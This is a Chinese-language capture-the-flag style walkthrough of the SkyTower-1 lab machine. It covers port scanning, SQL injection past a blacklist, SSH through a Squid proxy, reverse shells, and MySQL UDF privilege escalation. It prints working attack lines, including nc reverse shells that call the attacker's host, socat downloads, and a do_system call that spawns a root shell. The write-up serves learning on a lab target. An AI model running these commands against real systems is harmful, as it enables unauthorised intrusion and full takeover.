项目11:SkyTower-1(上)
##Nmap扫描
---靶机IP:192.168.95.157

---全端口扫描,开放22,80,3128
---注意:22端口是过滤状态:服务端将收到的 nmap SYN 报文直接丢弃,不进行应答, 由于 nmap 发送了两个 SYN ,都没有收到应答
----所以认定服务端开启了防火墙,将 SYN 报文丢弃

----sS是半开放扫描:在收到SYN/ACK后,不发送ACK应答而是发送RST包请求断开连接。
---这样,三次握手就没有完成,无法建立正常的TCP连接,扫描就不会被记录到系统日志

---nmap扫描端口的状态

---Squid是一个单进程的异步代理缓存服务器,支持HTTP,FTP,GOPHER,ICP等协议
---通过配置,可以实现反向代理、透明代理的功能,并且支持缓存,是实现高性能网站的必备基础设施之一。通常部署在应用服务器的前端
---如果一个人想下载一web页面,他请求Squid为他取得这个页面
----思路:Web枚举用户信息 > SSH爆破

##Web信息收集
---访问80端口,发现一个登陆框
---思路:1.弱口令 2.SQL注入 3.爆破 4.strcmp绕过(需要用户名正确)
---这里是邮件登陆,没有信息也不好弱口令和爆破,先使用SQLmap

---使用SQLmap的表单注入
---发现不能够注入

----抓包分析,这里参数没有经过加密

---dirb扫描,去访问除了一张背景图,其它没有什么信息

---nikto扫描,发现了icons/README,/login.php,/#wp-config.php#三个目录
----但是icons/README没有什么信息,/#wp-config.php#需要登陆访问,突破点还是登陆页面

---回头分析登陆界面,如果存在WAF,会对登陆界面的POST传参进行过滤
---这也是SQLmap失败的原因,绕过方法:采用FUZZ测试是否存在注入点
----sql的FUZZ字典下载:
https://github.com/melbinkm/SQL-Injection-Payloads/blob/master/sqli_auth.list
---通过repeter模块,对于表单进行测试,发现这里存在SQL注入
---通过admin',发现MYSQL报错,说明存在注入,但是sqlmap失败说明存在过滤

---这里发现,应该是对于and = 等特殊符号进行了过滤

---BurpSuite的intruder模块
1:Target 用于配置目标服务器进行攻击的详细信息(IP/端口/http or https)
2:Positions 设置Payloads的插入点以及攻击类型(攻击模式)
3:Payloads 设置payload,配置字典
4:Opetions 此选项卡包含了request headers,request engine,attack results ,grep match,grep_extrack,grep payloads和redirections。你可以发动攻击之前,在主要Intruder的UI上编辑这些选项,大部分设置也可以在攻击时对已在运行的窗口进行修改
---上面几个攻击模式:cluster bomb > pitchfork > battering ram > sniper(适合已知用户名)

---设置攻击模式为:Pitchfork,即存在2个字典,采用1:1,2:2,3:3的样子进行并行爆破
---如果是cluster bomb,则是:1:1,1:2,1:3,2:1,2:2,2:3,3:1,3:2,3:3进行交叉爆破

---Payload Opetions[Simple list] 该选项会根据选项1中Payload type的设置而改变

---生成的Payload进行编码、加密、截取等操作

---Payload Encoding 配置哪些有效载荷中的字符应该是URL编码的HTTP请求中的安全传输

---在payload处配置字典为简单字典,然后对字符进行URL编码

---点击Attack,根据返回的字节进行测试

---查看1838长度的返回包,这里获取到用户名和密码(只有一个用户和密码)
---如下:john@skytech.com ,john,hereisjohn

---这里的注入原理,因该是万能密码,即构造为真的查询条件,绕过

---同理,根据返回分析,对and、=字符过滤
----这里可以使用 || 符,替代and构建万能密码,利用成功返回了账号密码

---采用用户名和密码登陆,复制内容百度翻译,这里提示使用SSH进行登陆
---但是ssh端口是存在防火墙,所以需要通过3128端口进行代理访问

##代理转发技术
---方法1:proxychains ;方法2:proxytunnel
---Squid cache(简称为Squid)是流行最广的,使用最普遍的开源缓存代理服务器。squid的主要作用和应用场景有:
用来做前置的Web缓存,加快用户访问Web的速度
代理内网用户访问互联网资源
设置访问控制策略,控制用户的上网行为
主要支持http、ftp等应用协议
---正向代理和透明代理中的代理服务器和客户端同属一个LAN,对server端是透明的,
---服务器并不知道自己为谁提供服务,作用都是让内网用户可以通过代理服务器上互联网,
---也可以提高访问速度,并且可以通过代理服务器的访问控制限制内网用户的上网行为
---透明代理和正向代理的区别:不需要指明代理的IP和端口

---反向代理:反向代理的过程隐藏了真实的服务器,客户不知道真正提供服务的人是谁,客户端请求的服务都被代理服务器处理。反向代理代理的是响应方,也就是服务端
---可以起到负载均衡的作用,提高用户的访问速度

---应用场景
正向和透明代理:一般用于公司内网用户访问互联网,根据需求进行访问控制
反向代理:一般用于公司服务器集群前做web缓存,提高用户访问效率,同时可以起到负载均衡作用,为互联网提供可持续的web服务
#和NAT的区别
---1. SNAT(内网用户上外网)和DNAT(内网服务发布到公网)
网络层次:网络层
局域网用户访问外网走snat模式,同一个数据包,改变数据包头部的来源地址,再把数据包发到internet。
---2. 代理服务器模式
网络层次:应用层
不改变数据包头信息,把数据包代理给internet的服务器,基于应用层的过滤,应用层协议:http、ftp、pop、smtp、p2p ;作用:缓存页面,加速访问,ACL资源访问
#1)方法1:proxychains代理
---ProxyChains可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器,支持 Tor、HTTP、与 Socks 代理。与 sshuttle 不同的是,ProxyChains 只会将当前应用的 TCP 连接转发至代理,而非全局代理
---配置ProxyChains代理的配置文件
---配置http协议为192.168.95.157的3128端口

---通过proxychains ssh john@192.168.95.157登陆失败
---提示:资金已提取(对应之前的登陆情景,说需要SSH提取退休金)
---获取到Linux的内核3.2.0,以及x64的架构

---尝试进行ssh命令执行,发现可以执行命令
---如果不行可以尝试ssh-shellshock(前提是/bin/bash<=4.3): '(){:;};/bin/bash'

---探测一下靶机安装了反弹shell的软件没有
--发现没有安装python,但是存在nc/perl等

---采用nc反弹Shell:
proxychains ssh john@192.168.95.157 -t nc 192.168.95.152 6677 -e /bin/bash

---Kail监听,接受到shell
---但是靶机没有Python,没有办法进行pty(python -c 'import pty; pty.spawn("/bin/bash")')

#2)方法2:proxytunnel隧道代理
---proxytunnel是一款利用http connection封装技术建立隧道的工具
---使用条件:防火墙禁止DNS和ICMP隧道,只允许代理服务器上网的情景
---a监听本地的1234端口,通过代理192.168.95.157:3128,访问靶机本地的22端口
---然后Kail指定本地1234端口访问ssh
---注意:ssh登陆的是127.0.0.1的john账户
##一句话反弹shell的总结
---bash反弹
---awk反弹
---telnet反弹
---whois反弹(反弹的shell只能执行后面带的命令)
---nc反弹Shell
---mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,
---实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信
---socat反弹(没有python时建立Pty)
---exec:'bash -li',pty,stderr,setsid,sigint,sane
:这部分是socat的参数
---bash -li
,它表示要执行一个交互式的bash shell,其他参数的含义如下:
pty
:分配一个伪终端,使得远程主机认为它正在与一个终端交互stderr
:将目标命令的标准错误重定向到连接setsid
:在执行命令时创建一个新的会话,有助于将命令与终端分离sigint
:允许通过发送 SIGINT 信号(例如按下 Ctrl+C)来中断目标命令sane
:在连接关闭时恢复终端的设置
---python反弹
---perl反弹
---php反弹
---Java反弹
---lua反弹shell( CentOS7默认已经安装了5.1.4)
---C语句反弹Shell(需要gcc -o)
---msfvenom 获取反弹一句话
---msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我各类反弹一句话payload
---msfvenom -l payloads 'cmd/unix/reverse'

---反弹的一句话,注意:结尾是R
#Socat使用
---socat是强大易用的网络工具,可以实现任意socket的转换,可以看作是netcat
的增强版
---socat 的主要特点:在两个数据流之间建立隧道;并且支持众多协议和链接方式(如:IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等)
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
---监听(注意,需要添加-)
---这里类似于进程间通信

---反弹shell
---端口转发:将本地88 端口的流量 转发到远程指定端口
---请求重定向到本地88 --> 监听本地 88 端口 --> 远程 8888 端口
---建立远程端口转发

---向本地88端口发送数据,结果目标主机会出现指定信息

---Kail下载socat(--no-check-certificate忽略https的证书验证)
---然后使用python开启http:python -m http.server 8081
---靶机下载socat,赋予执行权限,然后反弹shell到Kail的9999端口
HOME=/dev/shm
:这部分设置了一个环境变量HOME
,将其值设置为/dev/shm
。/dev/shm
通常用于在内存中创建临时文件系统,可能是为了避免在磁盘上留下痕迹。在这里,它可能是为了隐藏与连接有关的活动
---通过socat建立一个稳定的反弹Shell(除了python的pty,只有这个方法)

---在Kail监听9999,并且执行:script -qc bash /dev/null(因该是bash的历史记录)
script
:这是一个用于记录会话的命令。它会创建一个子 shell,记录用户在该子 shell 中执行的所有输入和输出,并将其保存到一个档案文件中。-qc bash
:这部分是script
命令的参数。其中-q
选项表示“安静模式”,即不在终端上显示会话的开始和结束消息。-c bash
指定要在会话中运行的命令,这里是启动一个交互式的 Bash shell。/dev/null
:这是一个特殊的文件,表示一个空设备文件,会将所有写入其中的数据立即丢弃。在这个命令中,它被用作script
命令的输出文件,表示会话的输出将被丢弃

---当然,也可以使用socat进行tcp监听

#WAF分析
---前面报错的时候提示了:Funds have been withdrawn
---通过grep的-r进行递归搜索关键字,-n显示行数,找到关于SSH报错的文件

---查看 .bashrc的权限,发现就是john用户的文件,并且具有写权限

---cat .bashrc(Bash shell 配置文件,通常位于用户的主目录下的 .bashrc
文件中)
---该文件定义了一些设置、别名和命令,以自定义用户在命令行中的工作环境和体验
---总的来说,在.bashrc里面存在2处异常,1是对于交互shell的检测,2echo后exit退出Shell
---如果是交互Shell就,执行echo并且退出SHELL;不是交互shell,就直接退出脚本
---思路:删除.bashrc ; 重命名;重写删除内容 ; 替换内容
---重命名,然后使用SSH再登陆一次就可以了

---将exit替换成echo,-i 直接修改文件
---s
表示替换操作的开始,exit
是要查找的内容,echo
是替换的内容,
---g
表示全局替换,即一行中的所有匹配都会被替换
---或者从用户的 .bashrc
文件中移除最后三行内容,然后将结果覆盖回同一文件
---小技巧:每五分钟回弹一个shell(有时候Shell会莫名其妙的断)
#提权信息收集
---本地开启了3306端口(只允许本地访问),因该可以进行UDF提权

---查看系统内核的版本、系统架构以及发行版本

---上传linpeas.sh脚本,chmod赋予执行权限,然后运行

---这里MySQL和cron是root权限

---这里是Apache的解析
---这里的 <FilesMatch>
块用于匹配特定文件扩展名(.php
、.php3
、.php4
、.php5
、.phtml
、.ptml
)的文件
---<FilesMatch ".+\.phps$">
对以 .phps
结尾的文件进行特定的处理

---允许远程SSH的root账户登陆

---这里没有枚举到数据库用户的信息
---LinEnum 是一个高级 Bash 脚本,它从目标系统中提取了大量有用的信息,可以复制文件并进行导出,同时可以搜索包含关键字的文件
---项目地址:https://github.com/rebootuser/LinEnum
---通过ARP地址解析,发行Kail连接过LInu环境

---这里发行sudo的版本和MySql的版本
---Sudo<1.8.28版本,存在 CVE-2019-14287 漏洞
---Sudo属于[1.8.2 - 1.8.31]U[1.9.0 - 1.9.5]存在 CVE-2021-3156 漏洞(需要exploit)

---Sudo<1.8.28版本,存在 CVE-2019-14287 漏洞
---发现test用户可以执行SUDO

---这里也没有枚举到数据库密码信息
---进入/var/www目录下,查看登陆页面:login.php

---具体代码如下,发现Mysql的密码是:root/root
---以及SQL注入防范的方式是黑名单注入
##MYSQL信息枚举及提权
---登陆login的数据库查看用户信息,但是由于之前信息枚举时
---从用户组看,没有用户存在Sudo权限
---但是,一下用户可能设置了SUDO,可以通过/etc/sudoers设置sudo权限

---查看是否具有导入导出文件的权限,发现可以进行UDF提权(等会再测试)

---查看当前用户的sudo权限和所有用户的sudoers

---这里因该是在/etc/sudoers里面设置
test
:这是一个用户名,表示允许 "test" 用户执行 sudo 命令。ALL=(ALL, !root)
:这部分是 sudoers 文件中的规则,它有两部分:第一个
ALL
:表示允许在任何主机上执行命令。第二个
(ALL, !root)
:表示在任何用户身份下(ALL)执行命令,但是排除了 "root" 用户(!root)的ALL
:最后一个 "ALL" 表示允许执行所有命令
---即允许 "test" 用户以任何用户身份(除了 "root" 用户)在任何主机上执行所有的命令
---尝试使用数据库里面的用户登陆
---注意:第一次需要将.bashrc给重命名,然后第二次登陆

---查看当前用户的sudo设置
---/bin/cat /accounts/*是允许cat /accounts/目录下任意文件
---/bin/ls /accounts/*是允许 ls /accounts目录下任意文件

---这里的话,是不能进行提权的,但是可以通过../../../../查看root目录下的文件
---通过flag获取到root的,而之前在Ssh的配置文件允许rootSSH登陆:PermitRootLogin yes

---补充UDF提权:
----查看Mysql版本:dpkg -l | grep mysql
---查看mysql是否具有root:ps aux | grep root|grep mysql

---在Mysql里面查看用户登陆:select Host,User,Password from mysql.user;
---在内网里面,可以通过Mysql.user表获取IP地址进行横向移动
---也可以对密码进行破解(这里直接说明了web的数据库用户就是SSH)

---在谷歌搜索:MySQL 5.x udf exploit

---查看EDB-ID:1518,发现系统执行的函数是do_sysyem()
---也可以在kail进行本地搜索

---也可以使用msf的mysqludf提权的so文件(sqlmap也可以进行UDF提权但是一般不用)
---这里发现,Winddows和Linux的关于x86和x64的包(靶机是X64的,但是选X86的也兼容)
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回
sys_get,获取一个环境变量
sys_set,创建或修改一个环境变量

---注意,靶机上没有gcc /cc /g++,所以只能先编译成so文件然后上传

---尝试在Kail里面编译链接成so文件,再上传

---查看插件的位置(区分global variables):show variables like '%plugin%';
---发现在:/usr/lib/mysql/plugin/

---在mysql数据库里面创建一个名为huangbo的表,表的列的数据类型为:Longblob
---Mysql的四种blob(存储二进制):tinyblob; blob; mediumblob; longblob

---将so文件插入huangbo表:insert into huangbo values(load_file('/tmp/udf_1518.so'));

---然后将huangbo表的数据,导出到/usr/lib/mysql/plugin/目录下的so文件
---但是这里报错了,用户存在写入权限
---注意:不一定secure_file_pri满足就可以UDF提权

---但是mysql的权限是root用户

##知识点总结
---1.Nmap主机发现、端口扫描(SYN > SYN/ACK >RST)、版本扫描
---2.Squid代理:正向代理、透明代理(和客户机同网段,内网访问外网)、反向代理(服务端网段)
---3.Burp抓包测试SQL注入,sqlmap测试、burp的intruder万能密码字典FUZZ获取密码
---4.通过proxychains和proxytunnel(监听本地端口,转发到靶机squid)进行代理转发
---5.ssh登陆进行命令执行,查询ssh的配置文件:/home/用户名/.bashrc(配置SSH和shell)
---6.反弹shell:bash、exec、awk、telent、whois、nc、socat
---7.脚本语言反弹shell:python、perl、java、php、c、msfvenom -l payloads 'cmd/unix/reverse'
---8.伪shell的提升:pty;stty(安装python);socat(下载脚本)
---9.通过脚本收集信息,获取数据库密码,分析登陆界面的防止SQL注入的黑名单
---10.msyql信息收集,mysql.user表获取用户IP地址内网横向,获取其它用户的SSH密码,探测不同账户的sudo -l尝试提权
---11.通过sduo -l获取sudo的命令:cat、ls,通过../../root/flag.txt进行访问获取root密码
---12.uDF提权的exp的三种获取(谷歌、searchexploit、msf的lib_mysqludf)
---13.sudo系统漏洞提权(Sudo<1.8.28版本,存在 CVE-2019-14287 漏洞)
以及(Sudo属于[1.8.2 - 1.8.31]U[1.9.0 - 1.9.5]存在 CVE-2021-3156 漏洞(需要exploit))
---14.UDF的提权步骤:1.查询global variables like '%secure%'和variables like '%plugin%' 2.获取exp的命令执行函数 3.在mysql里面创建一个表(line longblob) 4.通过load_file('/tmp/dayu.so')将so文件转换为二进制数据,然后通过 insert dayu into values()插入 5.将mysql.dayu通过 select * from dayu获取插入的数据,然后通过into dumpfile ‘/usr/lib/mysql/plugin/dayu.so'导出到插件目录 6.根据插件的so文件,创建函数
CREATE FUNCTION do_system RETURNS INTEGER
:这部分声明了要创建一个名为 "do_system" 的函数,函数的返回类型是整数(INTEGER)。SONAME 'dayu.so'
:这部分表示将函数链接到一个共享库文件。共享库的文件名是 'dayu.so'
7.查询mysql.func表,发现do_system函数被创建 8.select do_system('nc IP:端口 -e /bin/bash')反弹root到Kail
